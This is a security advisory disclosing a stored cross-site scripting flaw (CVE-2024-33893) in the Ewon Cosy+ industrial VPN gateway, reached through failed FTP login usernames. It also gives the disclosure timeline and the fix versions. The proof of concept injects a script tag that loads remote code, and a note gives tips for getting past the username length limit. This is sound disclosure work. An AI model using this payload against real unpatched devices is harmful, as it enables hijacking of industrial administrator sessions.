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Advisory ID:               SYSS-2024-016
Product:                   Ewon Cosy+
Manufacturer:              HMS Industrial Networks AB
Affected Version(s):       Firmware Versions: < 21.2s10 and < 22.1s3
Tested Version(s):         Firmware Version: 21.2s7
Vulnerability Type:        Improper Neutralization of Input During Web Page Generation (CWE-79)
Risk Level:                Medium
Solution Status:           Fixed
Manufacturer Notification: 2024-03-27
Solution Date:             2024-07-18
Public Disclosure:         2024-08-11
CVE Reference:             CVE-2024-33893
Author of Advisory:        Moritz Abrell, SySS GmbH

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Overview:

The Ewon Cosy+ is a VPN gateway used for remote access and maintenance 
in industrial environments.

The manufacturer describes the product as follows (see [1]):

"The Ewon Cosy+ gateway establishes a secure VPN connection between 
the machine (PLC, HMI, or other devices) and the remote engineer. 
The connection happens through Talk2m, a highly secured industrial 
cloud service. The Ewon Cosy+ makes industrial remote access easy 
and secure like never before!"

Due to improper neutralization of input, an unauthenticated attacker 
is able to inject HTML and JavaScript code into the administrative 
web interface of the device.

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Vulnerability Details:

If login against the FTP service of the Cosy+ fails, the submitted 
username is saved in a log.
This log is included in the Cosy+ web interface without neutralizing 
the content. 
As a result, an unauthenticated attacker is able to inject 
HTML/JavaScript code via the username of an FTP login attempt.

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Proof of Concept (PoC):

1. Login attempt against Cosy+ FTP service:
    #> ftp "<script src=//x>"@192.168.10.33

2. JavaScript is included when visiting the event logs on Cosy+ web 
    interface (http://192.168.10.33/index.shtm#EVLogsTbl):

    <div class="x-grid-cell-inner " style="text-align:left;">
        eftp-Close FTP session (User: <script src="//x">
    </div">

Note:
    The FTP username is limited to 16 characters and therefore the 
    payload length is limited too. 
    However, exploitation is still possible, e.g. by controlling 
    DNS responses or using short URLs, e.g. an emoji domain.


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Solution:

According to the manufacturer note[4], the vulnerability was fixed 
with the firmware versions 21.2s10 and 22.1s3.

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Disclosure Timeline:

2024-03-26: Vulnerability discovered
2024-03-27: Vulnerability reported to manufacturer
2024-04-02: Inquiry about the status
2024-04-05: Manufacturer acknowlegded the vulnerability and started the 
            analysis
2024-04-10: Two more vulnerabilities reported to the manufacturer 
            (SYSS-2024-032 and SYSS-2024-033)
2024-04-11: Manufacturer acknowlegded the vulnerabilities and asked for 
            a publication date for all findings
2024-04-12: Proposed dates for a discussion about publication
2024-04-15: Manufacturer sent a technical overview of planned remediation 
            actions and details about the planned timeline
2024-04-15: Acknowlegded the remediation actions and asked the manufacturer
            to assign a CVE ID
2024-04-30: CVE ID CVE-2024-33893[5] assigned by the manufacturer
2024-05-31: Manufacturer informed that the fix is in completion stage and
            asked if the blog post[6] can be reviewed by HMS
2024-06-04: Proposed dates to review the blog post draft
2024-06-21: Inquiry about the status
2024-06-21: Received an out-of-office auto reply
2024-07-01: Inquiry about the status
2024-07-04: Inquiry about the status
2024-07-12: Inquiry about the status and letting the manufacturer know that
            the vulnerability will be published within a talk at DEF CON[7]
            in August
2024-07-12: Manufacturer responded that the fix is planned by the end of 
            July; manufacturer asked again for reviewing the blog post 
            draft
2024-07-12: Again confirmed reviewing the blog post is possible and asking
            for the sending of details
2024-07-17: Blog post provided to HMS
2024-07-18: Fixed firmware versions 21.2s10 and 22.1s3 released by HMS 
2024-07-23: Inquiry about the status
2024-07-23: Manufacturer reviewed the blog post and confirmed that a 
            fix is provided
2024-07-29: Discussion with HMS about the blog post and final publication 
            actions
2024-08-11: Vulnerability disclosed at DEF CON[7]
2024-08-11: Blog post published[6]

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References:

[1] Ewon Cosy+ product website
    https://www.hms-networks.com/p/ec71330-00ma-ewon-cosy-ethernet
[2] SySS Security Advisory SYSS-2024-016
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-016.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy
[4] Manufacturer note
    https://hmsnetworks.blob.core.windows.net/nlw/docs/default-source/products/cybersecurity/security-advisory/hms-security-advisory-2024-07-29-001--ewon-several-cosy--vulnerabilities.pdf
[5] CVE-2024-33893
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33893
[6] Blog post
    https://blog.syss.com/posts/hacking-a-secure-industrial-remote-access-gateway/
[7] DEF CON talk
    https://defcon.org/html/defcon-32/dc-32-speakers.html#54521

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Credits:

This security vulnerability was found by Moritz Abrell of SySS GmbH.

E-Mail: moritz.abrell@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Abrell.asc
Key Fingerprint: 2927 7EB6 1A20 0679 79E9  87E6 AE0C 9BF8 F134 8B53

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Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

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Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en
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